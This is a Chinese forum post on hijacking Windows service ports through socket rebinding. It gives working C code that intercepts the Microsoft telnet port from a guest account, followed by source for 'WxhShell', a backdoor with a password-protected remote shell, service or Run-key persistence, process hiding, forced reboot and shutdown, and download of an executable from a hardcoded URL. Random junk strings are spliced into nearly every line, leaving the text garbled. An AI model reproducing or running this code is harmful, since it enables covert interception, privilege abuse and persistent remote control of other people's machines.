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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ,sAAV%" >  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Z*co\ pW  
~%/Rc`  
  saddr.sin_family = AF_INET; !|&|%x6@  
A%.mIc.  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ~Xxmj!nOf  
4$&l`yWU+  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 6*9 wGLE  
ZiJF.(JS  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 DQXUh#t\(]  
AYA{_^#+3  
  这意味着什么?意味着可以进行如下的攻击: 4@?0wV  
JkAM:,^(  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ?N<My& E  
! dzgi:  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) z5fE<=<X_W  
tbRW6  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 |q77  
nTqU~'d'  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  |NfFe*q0;8  
=*,SD  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 %PYl  
+'?Qph6o,7  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 u-TT;k'  
d+JK")$9C  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 `$6o*g>:  
LlQsc{ Ddf  
  #include QO'Hyf t  
  #include 15g! Q *v  
  #include 6$k#B ~~  
  #include    x4'@U<  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Y.viOHL  
  int main() lYx_8x2  
  { X8|H5Y:  
  WORD wVersionRequested; XQ]K,# i  
  DWORD ret; +94)BxrY  
  WSADATA wsaData; p&<Ssc  
  BOOL val; QJ2]8K)+C  
  SOCKADDR_IN saddr; 1X?ro;  
  SOCKADDR_IN scaddr; Dl;hOHvKk  
  int err; Bs~~C8+  
  SOCKET s; Y [`+7w  
  SOCKET sc; Z,).)y#B  
  int caddsize; Lzh8-d=HQ  
  HANDLE mt; ]at$ohS  
  DWORD tid;   E`IXBI  
  wVersionRequested = MAKEWORD( 2, 2 ); d6luksO*9  
  err = WSAStartup( wVersionRequested, &wsaData ); Y=mr=]q  
  if ( err != 0 ) { INg0[Lpc  
  printf("error!WSAStartup failed!\n"); MKHnA|uQ](  
  return -1; o7) y~ ke  
  } 2@|`Ugjptl  
  saddr.sin_family = AF_INET; > G\0Z[<v,  
   D#g -mqar:  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 iGW|j>N  
V"/.An|  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 0j$\k|xFXZ  
  saddr.sin_port = htons(23); 4>gfLK\R:  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) LE\*33k_  
  { 02J/=AC5  
  printf("error!socket failed!\n"); y~9wxK  
  return -1; noZbsI4  
  } ZbFD|~[ V  
  val = TRUE; W{6QvQD8  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 /Ew()>Y  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) d<m;Q}/l&h  
  { VE\L&d2S  
  printf("error!setsockopt failed!\n"); tr0b#4  
  return -1; VI! \+A  
  } <y6`8J7:  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; fv;Q*; oC&  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 0Wr<l%M)+  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 *lfjsrPu  
LO`0^r  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 1-kuK<KR  
  { /`PYk]mJh  
  ret=GetLastError(); omfX2Oa2  
  printf("error!bind failed!\n"); v{" nyW6#  
  return -1; BtJkvg(2]  
  } jFSR+mP!  
  listen(s,2); R`j"iC2  
  while(1) wT@Z|.)  
  { i~!g9o(  
  caddsize = sizeof(scaddr); HSruue8  
  //接受连接请求 > X~\(|EM  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); "*lx9bvV_  
  if(sc!=INVALID_SOCKET) @-q,%)?0}=  
  { b_+o1Zy`  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); (:iMs) iO{  
  if(mt==NULL) ,EQ0""G!  
  { @&*TGU  
  printf("Thread Creat Failed!\n"); zw<<st Bp  
  break; eaRa+ <#u  
  } M+t)#O4  
  } o$ @/@r  
  CloseHandle(mt); _`2%)#^ o  
  } <@J$hs9s  
  closesocket(s); U6JD^G=qR,  
  WSACleanup(); F}Zg3 #  
  return 0; d V%o:@Z  
  }   C|y^{4 |R  
  DWORD WINAPI ClientThread(LPVOID lpParam) ;D'm=uOl  
  { rfDGS%!O%  
  SOCKET ss = (SOCKET)lpParam; )Kx.v'  
  SOCKET sc; u>fs yn9c  
  unsigned char buf[4096]; [n9l[dN  
  SOCKADDR_IN saddr; A!Tl  
  long num; imOIO[<;  
  DWORD val; ;adZ*'6u  
  DWORD ret; ]ZLF=  
  //如果是隐藏端口应用的话,可以在此处加一些判断 9fp"r,aHN&  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ;(K/O?nrJ  
  saddr.sin_family = AF_INET; P$'PB*5d|  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); tM LiG4 |7  
  saddr.sin_port = htons(23); \d:Q%S  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7sVM[lr<  
  { IB|!51H  
  printf("error!socket failed!\n"); 9DBX.|  
  return -1; [Or1  
  } 0d[O/Q`  
  val = 100; WD4"ft  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) W~H`{x%Av>  
  { {GtX:v#  
  ret = GetLastError(); :%sG'_d  
  return -1; EG4~[5[YgI  
  } jP+{2)z"W  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )pI( <  
  { G;gsDn1t  
  ret = GetLastError(); c RI2$|  
  return -1; d/GSG%zB  
  } 7 \xCNOKh  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) xkf2;  
  { W. d',4)  
  printf("error!socket connect failed!\n"); |HAbZd7PG  
  closesocket(sc); o4: e1  
  closesocket(ss); (tO4UI5!  
  return -1; ?u CL[  
  } *v#V%_o  
  while(1) )h ,v(Rxa  
  { w[a(I} x  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 i^WY/ OhL  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ~F@p}u8TV  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 FVNTE +LW  
  num = recv(ss,buf,4096,0); h5P ]`r  
  if(num>0) S9DXd]6q_  
  send(sc,buf,num,0); Bor_(eL^  
  else if(num==0) %,$xmoj9O]  
  break; 3L2NenJB  
  num = recv(sc,buf,4096,0); C}9GrIi  
  if(num>0) RKrNmD*rk*  
  send(ss,buf,num,0); UvMkL  
  else if(num==0) [qY yr  
  break; _{):w~zi  
  } cK[=IE5  
  closesocket(ss); ~jJ.E_i  
  closesocket(sc); T!?tyW  
  return 0 ; dU_;2d$  
  } O\uIIuy  
>/RFff]Fh0  
'>"blfix8  
========================================================== |<3x`l-`  
[So1`IA6  
下边附上一个代码,,WXhSHELL I%:?f{\  
7MZH'nO  
========================================================== t@R n#(~"  
z.(DDj  
#include "stdafx.h" `, ]ui*  
ab9ecZ  
#include <stdio.h> :B=Gb8?  
#include <string.h>  /s^42  
#include <windows.h> qGhg?u"n:  
#include <winsock2.h> y5*zyd  
#include <winsvc.h> K:XP;#OsP  
#include <urlmon.h> 9%SC#V'  
R#YeE`K  
#pragma comment (lib, "Ws2_32.lib") 8G$BQ  
#pragma comment (lib, "urlmon.lib") ]zAwKuIK  
C6F7,v62  
#define MAX_USER   100 // 最大客户端连接数 ~s-gnp  
#define BUF_SOCK   200 // sock buffer 0=U|7%dOL  
#define KEY_BUFF   255 // 输入 buffer ckV\f({  
DC/Czkv9  
#define REBOOT     0   // 重启 #Vmf 6  
#define SHUTDOWN   1   // 关机 R|$b\3  
ex`T 9j.=B  
#define DEF_PORT   5000 // 监听端口 f34/whD65  
KX;JX*)J  
#define REG_LEN     16   // 注册表键长度 |ssl0/nk  
#define SVC_LEN     80   // NT服务名长度 2?6]Xbs{  
/;}%E  
// 从dll定义API nhMxw @Z\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); L#'XN H"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); rp"5176  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;ow)N <Z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~Gh7i>n*  
hi$AZ+  
// wxhshell配置信息 $mAC8a_Zu  
struct WSCFG { PCL ;Z  
  int ws_port;         // 监听端口 }ssja,;  
  char ws_passstr[REG_LEN]; // 口令 jDQ?b\^  
  int ws_autoins;       // 安装标记, 1=yes 0=no (K8Ob3zN_  
  char ws_regname[REG_LEN]; // 注册表键名 8kdJtEW3  
  char ws_svcname[REG_LEN]; // 服务名 [mjie1j/<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }Md;=_TP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 = &pLlG  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #O;JV}y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (57!{[J  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ToPjB vD  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )kI**mI}  
2'-"&d+ O  
}; ti%RE:*  
,G}i:7  
// default Wxhshell configuration `?N0?;  
struct WSCFG wscfg={DEF_PORT, {]}94T~/k  
    "xuhuanlingzhe", M+VWAh#uD  
    1, Kw?3joy  
    "Wxhshell", 7_ayn#;y  
    "Wxhshell", MA:5'n  
            "WxhShell Service", %EVgSF!r  
    "Wrsky Windows CmdShell Service", 8aWEl%  
    "Please Input Your Password: ", K6-M.I  
  1, :zKMw=  
  "http://www.wrsky.com/wxhshell.exe", njX$?V   
  "Wxhshell.exe" LYRpd  
    }; qT(6TP  
lD3nz<p  
// 消息定义模块 rq8 d}wj  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^c.D&y%5  
char *msg_ws_prompt="\n\r? for help\n\r#>"; P* `*^r3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8vR_WHsL  
char *msg_ws_ext="\n\rExit."; '-RacNY  
char *msg_ws_end="\n\rQuit."; [ C0v -  
char *msg_ws_boot="\n\rReboot..."; ~o%igJ }.C  
char *msg_ws_poff="\n\rShutdown..."; S=mqxIo@m  
char *msg_ws_down="\n\rSave to "; }H\I[5*  
Yjjh}R#  
char *msg_ws_err="\n\rErr!"; 2,q*[Kh1  
char *msg_ws_ok="\n\rOK!"; ]$lt  
z.SC^/\o|  
char ExeFile[MAX_PATH]; 4_=2|2Wz[  
int nUser = 0; 8;DDCop 8L  
HANDLE handles[MAX_USER]; V9v20iX  
int OsIsNt; :NF4[c  
[|KvlOvP  
SERVICE_STATUS       serviceStatus; =zyA~}M2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |sReHt2)d  
V3t#kv  
// 函数声明 '&![h7B  
int Install(void); *$<W"@%^J  
int Uninstall(void); G*@!M%/  
int DownloadFile(char *sURL, SOCKET wsh); _rwJ: r  
int Boot(int flag); er UYR"  
void HideProc(void); 22CET9iCe  
int GetOsVer(void); ccHf+=  
int Wxhshell(SOCKET wsl); | ]*3En:  
void TalkWithClient(void *cs); 9aJIq{`E  
int CmdShell(SOCKET sock); h<Aq|*  
int StartFromService(void); $0 olqt:  
int StartWxhshell(LPSTR lpCmdLine); *i]?J  
{p84fR1P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); w*ans}P7  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Kgu8E:nL  
5.9<g>C  
// 数据结构和表定义 Db,"Gl  
SERVICE_TABLE_ENTRY DispatchTable[] = P0n1I7|  
{ kyJbV[o<#  
{wscfg.ws_svcname, NTServiceMain}, }uZs)UQ|$  
{NULL, NULL} u=.8M`FxP  
}; "o&8\KSs  
@KQ.tF*  
// 自我安装 $eYL|?P50h  
int Install(void) ;miif  
{ &J>e; X  
  char svExeFile[MAX_PATH]; 0X=F(,>9  
  HKEY key; @AEH?gOX  
  strcpy(svExeFile,ExeFile); <+QQiFj  
.:$(o&  
// 如果是win9x系统,修改注册表设为自启动 p{g4`o  
if(!OsIsNt) { m2j&0z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f+h\RE=BGt  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p0Jr{hM  
  RegCloseKey(key); ><<>4(eF p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |C [!A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K~TwyB-h  
  RegCloseKey(key); ("9bV8:@B  
  return 0; Lx0nLJ\  
    } heVk CM :  
  } 9TW[;P2> )  
} D'g,<-ahl  
else { ]`/>hH>+~9  
$ DL}jH^S  
// 如果是NT以上系统,安装为系统服务 XX8HSw!w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0bT j/0G?  
if (schSCManager!=0) VdlT+'HF  
{ paqGW]  
  SC_HANDLE schService = CreateService _U s"   
  ( 0!hr9Y]Lx  
  schSCManager, x-BU$bx5  
  wscfg.ws_svcname, 5Gz!Bf@!!  
  wscfg.ws_svcdisp, im<bo Mv  
  SERVICE_ALL_ACCESS, bA^uzE  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7>N~l  
  SERVICE_AUTO_START, PCviQ!X  
  SERVICE_ERROR_NORMAL, fiGTI}=P  
  svExeFile, 4p:d#,?r  
  NULL, 1'~Xn 4 f  
  NULL, #Rw!a#CX.  
  NULL, 'nCVjO7o  
  NULL, h `Lr5)B'  
  NULL Ykxk`SJ  
  ); GX>8B:]o|  
  if (schService!=0) 6"&cQ>$xh  
  { Tagf7tw4  
  CloseServiceHandle(schService); /ZvP.VW&  
  CloseServiceHandle(schSCManager); &<A,\ M  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1d5%(:@  
  strcat(svExeFile,wscfg.ws_svcname); &6eo;8 `U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { giakEPl  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }Fe6L;^;  
  RegCloseKey(key); eZ'8JU]  
  return 0; :u>RyKu|&R  
    } [`n_> p!  
  } +A}t_u3<  
  CloseServiceHandle(schSCManager); %U\,IO`g  
} TRhMxH  
} zp}7p~#k^  
thjr1y.e  
return 1; %*D=ni#(sT  
} 3#7V1  
1j?P$%p  
// 自我卸载 E'08'8y  
int Uninstall(void) Od!)MQ*,  
{ |E8sw a  
  HKEY key; V(';2[)  
UqK.b}s  
if(!OsIsNt) { JW>k8QjyN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7HPwlS  
  RegDeleteValue(key,wscfg.ws_regname); s= Fp[>qA  
  RegCloseKey(key); "qmSwdM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v;,W ^#`  
  RegDeleteValue(key,wscfg.ws_regname); 4.O)/0sU  
  RegCloseKey(key);  u r$  
  return 0; b}! cEJY  
  } (\6E.Z#  
} 8zK#./0\  
} *!QmYH5r0  
else { "~4V(  
@Jd&[T27Lr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "Bd-h|J  
if (schSCManager!=0) iw)gNQ%z4  
{ ^/n1h g  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \K$\-]N+  
  if (schService!=0) ?!RbS#QV}  
  { ![z2]L+TB  
  if(DeleteService(schService)!=0) { EQyX!  
  CloseServiceHandle(schService); Gu$/rb?  
  CloseServiceHandle(schSCManager); FGVw=G{r  
  return 0; |f_'(-v`E  
  } A$2 ;Bf  
  CloseServiceHandle(schService); &M|rRd~*  
  } Snkb^Kt  
  CloseServiceHandle(schSCManager); =M1}HF,7>l  
} j/t%7,  
} 3zsp 6kV  
u!X~!h-6~  
return 1; Z_ GGH2u  
} tl dK@!E3  
6 IvAs-%W  
// 从指定url下载文件 :!Ci#[g  
int DownloadFile(char *sURL, SOCKET wsh) [{Wo:c9Qq1  
{ d9 [j4q_  
  HRESULT hr; jf)cDj2  
char seps[]= "/"; Do4hg $:40  
char *token; B EwaQvQ!  
char *file; > TYDkEs0  
char myURL[MAX_PATH]; L } R"1O  
char myFILE[MAX_PATH]; V7WL Gy.,  
i$kB6B#==  
strcpy(myURL,sURL); ^_#wo"  
  token=strtok(myURL,seps); 3P!OP{`  
  while(token!=NULL) (Z<@dkO?)  
  { nc1~5eo  
    file=token; #`y[75<n  
  token=strtok(NULL,seps); zU1D@  
  } h1S)B|~8  
T.cTL.}  
GetCurrentDirectory(MAX_PATH,myFILE); tQ@7cjq8bA  
strcat(myFILE, "\\"); i6yA>#^  
strcat(myFILE, file); q:kGJ xfaW  
  send(wsh,myFILE,strlen(myFILE),0); 5QqU.9M  
send(wsh,"...",3,0); }"+"nf5h  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Tu-lc)  
  if(hr==S_OK) {aA6b  
return 0; igL5nE=n  
else (-yif&  
return 1; ~Bl,_?CBr  
#_^ p~:  
} ~ AD>@;8fG  
@(L}:]{@  
// 系统电源模块 $-/-%=  
int Boot(int flag) d"5_x]Z;  
{ z?13~e[D  
  HANDLE hToken; ;G`]`=s#Lq  
  TOKEN_PRIVILEGES tkp; v RtERFL  
uKzx >\}?1  
  if(OsIsNt) { sDs.da#*2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); X8v)yDtw  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); x .@O]}UH  
    tkp.PrivilegeCount = 1; F4~ OsgZ'N  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 64b AWHv  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); gK~Z Ch  
if(flag==REBOOT) { Z42q}Fhm*R  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) mvH}G8  
  return 0; K'2N:.D:  
} ;Qy Ew5  
else { bv <^zuV  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) K"[jrvZ=  
  return 0; <V U-ja*(J  
} #&uajo  
  } V|A.M-XLv4  
  else { /V0Put  
if(flag==REBOOT) { lq-F*r\/~+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Q0`@=5?-  
  return 0; -hfDf{QN  
} 7h(  
else { d$ o m\@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1c/<2xO~  
  return 0; )/f#~$ws  
} &:C[ nq  
} iuqJPW^}  
%;]/Z%!  
return 1; Y,mo}X<>  
} sAO/yG  
!p ~.Y+  
// win9x进程隐藏模块 fWJOP sp*/  
void HideProc(void) rp @%0/[  
{ 9(X~  
S&=@Hj-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Y: C qQ  
  if ( hKernel != NULL ) Yrf?|,  
  { I|bX;l  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); h+d k2|a  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [GM!@6U  
    FreeLibrary(hKernel); ~K)FuL[*  
  } H9_>a-> )~  
U4a8z<l$  
return; ?st}rJ_  
} ZQR)k:k7  
"AqLR  
// 获取操作系统版本 W7s  
int GetOsVer(void) <Qbqxw  
{ # mM9^LJ   
  OSVERSIONINFO winfo; "a _S7K  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (.z0.0W  
  GetVersionEx(&winfo); (0_]=r=q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) pi;fu  
  return 1; bQ?Vh@j(M  
  else \'w.<)(GI  
  return 0; b!QRD'31'j  
} $^e_4]k  
DjZTr}%q  
// 客户端句柄模块 o{2B^@+Vb  
int Wxhshell(SOCKET wsl) H93ug1,  
{ *!NW!,R  
  SOCKET wsh; v-F|#4Q=ut  
  struct sockaddr_in client; F_}y[Yn^  
  DWORD myID; : @gW3'  
CJ3/8*;w  
  while(nUser<MAX_USER) O#^qd0e'P!  
{ zEE:C|50  
  int nSize=sizeof(client); EN>a^B+!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); D+BflI~9mP  
  if(wsh==INVALID_SOCKET) return 1; 1?TgI0HS  
C3<_0eI  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )>rYp )  
if(handles[nUser]==0) E_z,%aD[  
  closesocket(wsh); g]b%<DJ  
else tuo'Uk)  
  nUser++; aO:A pOAO  
  } 527u d^:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); % 5!Y#$:{o  
{v3@g[:|  
  return 0; #b&=CsW`  
} *z'Rl'j9[  
.?F`H[^)^u  
// 关闭 socket Hw#yw g  
void CloseIt(SOCKET wsh) o:%;AOcl  
{ Nc(A5*  
closesocket(wsh); Ys5I qj=mp  
nUser--; V2 }.X+u&<  
ExitThread(0); 'Te'wh=Y  
} eYg0 NEq{  
z)&&Ym#  
// 客户端请求句柄 8?o{{ay  
void TalkWithClient(void *cs) )d5mZE!3  
{ %A@U7gqc  
)B^T7{  
  SOCKET wsh=(SOCKET)cs; U,`F2yD/!  
  char pwd[SVC_LEN]; (jh0cy}|]  
  char cmd[KEY_BUFF]; Z3 na.>Z  
char chr[1]; PiX(Ase  
int i,j; %G]WOq=q  
Eo{js?1G_  
  while (nUser < MAX_USER) { d:n .Vp  
0mT.J~}1v  
if(wscfg.ws_passstr) { pmDFmES  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qS[nf>"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gn${@y?  
  //ZeroMemory(pwd,KEY_BUFF); qEPC]es|T  
      i=0; 3{- 8n/4 k  
  while(i<SVC_LEN) { #|}EPD9$  
F)tcQO"G  
  // 设置超时 X4v0>c  
  fd_set FdRead; z`y^o*qc]  
  struct timeval TimeOut; Qb1hk*$=  
  FD_ZERO(&FdRead); L q;=UE  
  FD_SET(wsh,&FdRead); #Ic-?2Gn4<  
  TimeOut.tv_sec=8; gs=(h*  
  TimeOut.tv_usec=0; %t,Fxj4F  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &o)eRcwH`  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); M[ ,:NE4H  
hQbz}x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *f+DV[DF  
  pwd=chr[0]; H*EN199  
  if(chr[0]==0xd || chr[0]==0xa) { 7brC@+ZD  
  pwd=0; D3;#:  
  break; `CEHl &w  
  } E$E #c8I:  
  i++; 2xpI|+ a%  
    }  r(c8P6_  
e:RgCDWL  
  // 如果是非法用户,关闭 socket p#AQXIF0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 10e~Yc  
} 4#w Z#}  
.d%CD`8!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); B["C~aF  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6n$g73u<=3  
7F wo t&  
while(1) { lH 1gWe  
45tQ$jr`1  
  ZeroMemory(cmd,KEY_BUFF); ]F*fQ Ncjy  
@  M  
      // 自动支持客户端 telnet标准   8{4jlL;"`?  
  j=0; !$8 e6  
  while(j<KEY_BUFF) { y^hCO:`l3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $~<]G)*Z  
  cmd[j]=chr[0]; NN@'79x  
  if(chr[0]==0xa || chr[0]==0xd) { [$%O-_x  
  cmd[j]=0; ^;a~_9 m-  
  break; 9._owKj  
  } ]?a i  
  j++; xh9Os <  
    } jLv8K  
4 oZm0  
  // 下载文件 {E$smX  
  if(strstr(cmd,"http://")) { Ud'/ 9:P  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); BXB ZX@jVk  
  if(DownloadFile(cmd,wsh)) I7e.p m  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q?]-/v  
  else GEUC<bL+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )@[##F2  
  } {>n\B~*,"C  
  else { oA]rwa UX  
` D={l29H  
    switch(cmd[0]) { }*s`R;B|,  
  =WM^i86  
  // 帮助 Dg o -Os@  
  case '?': { 2nkymEPu  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); b .|k j  
    break; 0Tq=nYZA  
  } kqQT^6S   
  // 安装 jcL%_of  
  case 'i': {  {Bw  
    if(Install()) &r)[6a$fW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5)iOG#8qJ  
    else :kQydCuK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xTg=oq  
    break; lgQ"K(zY  
    } ~kFL[Asnaf  
  // 卸载  x>$e*  
  case 'r': { 2xK v;  
    if(Uninstall()) #.j}:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U'k 0;  
    else cB=ExD.Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a]nK!;>$  
    break; W.CbNou  
    } I>JBGR`j  
  // 显示 wxhshell 所在路径 Fj4>)!^kM  
  case 'p': { {2F@OfuCF  
    char svExeFile[MAX_PATH]; @8*lqV2  
    strcpy(svExeFile,"\n\r"); ->L>`<7(  
      strcat(svExeFile,ExeFile); z"P/Geb:O  
        send(wsh,svExeFile,strlen(svExeFile),0); a'Yi^;2+\  
    break; #f<3[BLx  
    } "fu:hHq  
  // 重启 .F},Z[a&  
  case 'b': { f~ wgMp.W0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); uH]oHh!}j  
    if(Boot(REBOOT)) %2y5a`b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _;M3=MTM9  
    else { gCq'#G\Z  
    closesocket(wsh); #MFIsx)r  
    ExitThread(0); LhRd0  
    } 10_#Z~aU  
    break; G>Hg0u0!,  
    } < 1[K1'7h  
  // 关机 k(he<-GF\  
